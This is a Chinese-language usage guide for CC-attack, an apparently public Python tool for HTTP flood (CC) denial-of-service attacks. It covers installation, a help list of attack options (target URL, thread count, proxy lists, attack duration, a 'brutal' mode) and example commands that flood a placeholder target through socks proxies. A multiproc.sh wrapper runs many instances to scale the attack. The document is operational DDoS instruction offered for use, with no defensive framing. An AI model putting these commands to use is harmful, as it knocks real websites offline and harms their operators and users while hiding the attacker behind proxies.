bash
https://github.com/Leeon123/CC-attack

CC-Attack 使用说明

安装命令

bash
pip3 install requests pysocks
git clone https://github.com/Leeon123/CC-attack.git
cd CC-attack

使用方法

bash
python3 cc.py <arguments>

帮助列表

bash
===============  CC-attack help list  ===============
   -h/help   | 显示帮助信息
   -url      | 设置目标 URL
   -m/mode   | 设置程序模式
   -data     | 设置 POST 数据路径 (仅适用于 POST 模式)
             | (示例: -data data.json)
   -cookies  | 设置 cookies (示例: 'id:xxx;ua:xxx')
   -v        | 设置代理类型 (4/5/http, 默认: 5)
   -t        | 设置线程数 (默认: 800)
   -f        | 设置代理文件 (默认: proxy.txt)
   -b        | 启用/禁用暴力模式
             | 启用=1 禁用=0 (默认: 0)
   -s        | 设置攻击时长 (默认: 60)
   -down     | 下载代理
   -check    | 检查代理
=====================================================

实际应用

下载 socks5 代理文件

bash
python3 cc.py -down -f proxy.txt -v 5

使用自定义代理列表对目标站点进行 CC 攻击 30 秒

bash
python3 cc.py -url http://target.com -f socks4.txt -v 4 -s 30

脚本
code
multiproc.sh
使用方法

此脚本用于提高

code
cc.py
的性能。由于 Python 存在 GIL 锁的性能问题，而我懒得制作多进程版本，所以对于 Linux 用户，有一个选项可以通过运行多个
code
cc.py
实例来提高性能。

此脚本基本上是通过多次运行

code
cc.py
来实现 "多进程"。

  1. 将此脚本和
    code
    cc.py
    放在同一文件夹中。
  2. 准备好代理列表，或者直接运行
    code
    python3 cc.py -down -v 4
    下载代理（
    code
    -v
    代表 socks 版本）。
  3. 修改
    code
    process
    来调整进程数量。
  4. 修改
    code
    atk_cmd
    为您的命令，并通过
    code
    bash multiproc.sh
    运行脚本。

示例

bash
atk_cmd="python3 cc.py -url http://target.com -v 4 -s 60"

# 设置您想要的进程数量
process=10

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